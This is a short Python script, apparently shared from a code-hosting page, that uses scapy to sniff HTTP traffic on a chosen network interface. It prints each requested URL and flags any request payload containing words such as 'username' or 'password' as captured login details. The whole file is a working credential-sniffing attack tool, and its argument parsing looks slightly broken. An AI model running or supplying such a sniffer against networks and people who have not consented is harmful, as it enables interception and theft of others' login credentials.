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packet_sniffer.py
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42 lines (29 loc) · 1.1 KB
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import scapy.all as scapy
from scapy_http import http
import optparse
def get_arguments():
parser = optparse.OptionParser()
parser.add_option('-i', '--interface', dest="interface", help="interface to sniff packets through")
options = parser.parse_args()
return options
def sniff(interface):
scapy.sniff(iface=interface, store=False, prn=process_sniffed_packet)
def get_url(packet):
return packet[http.HTTPRequest].Host + packet[http.HTTPRequest].Path
def get_login_info(packet):
if packet.haslayer(scapy.Raw):
load = packet[scapy.Raw].load
keywords = ["username", "name", "user", "login", "password", "pass"]
for keyword in keywords:
if keyword in load:
return load
def process_sniffed_packet(packet):
if packet.haslayer(http.HTTPRequest):
url = get_url(packet)
print("HTTP Request >> " + url)
login_info = get_login_info(packet)
if login_info:
print("\n\n Possible username/password >" + login_info + "\n\n")
options = get_arguments()
interface = options.interface
sniff(interface)